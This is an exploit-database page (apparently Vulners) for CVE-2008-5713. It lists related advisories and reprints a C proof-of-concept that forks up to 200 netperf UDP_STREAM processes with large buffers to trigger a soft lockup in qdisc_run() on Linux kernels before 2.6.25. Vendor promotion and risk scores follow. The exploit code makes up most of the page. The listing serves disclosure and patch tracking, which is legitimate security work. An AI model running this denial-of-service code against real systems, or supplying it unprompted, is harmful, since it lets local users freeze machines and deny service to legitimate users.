Linux Kernel 2.6.x - 'qdisc_run()' Local Denial of Service
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| CVE-2008-5713 | 23 Dec 200800:00 | – | circl | |
| CVE-2008-5713 | 24 Dec 200817:00 | – | cve | |
| CVE-2008-5713 | 24 Dec 200817:00 | – | cvelist | |
| [SECURITY] [DSA 1794-1] New Linux 2.6.18 packages fix several vulnerabilities | 6 May 200923:23 | – | debian | |
| Debian DSA-1794-1 : linux-2.6 - denial of service/privilege escalation/information leak | 11 May 200900:00 | – | nessus | |
| MiracleLinux 3 : kernel-2.6.18-53.21AXS3 (AXSA:2009-22:03) | 14 Jan 202600:00 | – | nessus | |
| Oracle Linux 5 : kernel (ELSA-2009-0264) | 12 Jul 201300:00 | – | nessus | |
| Oracle Linux 5 : Oracle / Enterprise / Linux / 5.4 / kernel (ELSA-2009-1243) | 7 Sep 202300:00 | – | nessus | |
| RHEL 5 : kernel (RHSA-2009:0264) | 12 Feb 200900:00 | – | nessus | |
| Scientific Linux Security Update : kernel on SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus |
10
/*
source: https://www.securityfocus.com/bid/32985/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Local attackers can exploit this issue to cause a soft lockup, denying service to legitimate users.
Versions prior to Linux kernel 2.6.25 are vulnerable.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#define MAXTASKS 200
int main(int argc, char *argv[])
{
int i;
char cmd[128];
FILE *f;
pid_t pids[MAXTASKS];
pid_t pid;
unsigned int num;
if (argc < 3) {
printf("enter netserver hostname as the first parameter\n");
printf("enter number of netperf tasks as the second parameter\n");
return 1;
}
f = fopen("/dev/null", "w");
if (!f) {
printf("cannot open /dev/nu;;\n");
return 2;
}
sprintf(cmd, "netperf -H %s -l 60 -t UDP_STREAM -- -s 262144 -r 262144 -m 16384", argv[1]);
num = atoi(argv[2]);
if (num > MAXTASKS) {
printf("number of tasks is too high, resetting to %ld\n", MAXTASKS);
num = MAXTASKS;
}
for(i = 0; i < num; i++) {
pid = fork();
if (pid == 0) {
fclose(stdout);
fclose(stderr);
stdout = f;
stderr = f;
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
}
else {
printf("newpid: %d\n", pid);
pids[i] = pid;
}
}
for(i = 0; i < num; i++) {
waitpid(pids[i], NULL, 0);
}
fclose(f);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.00743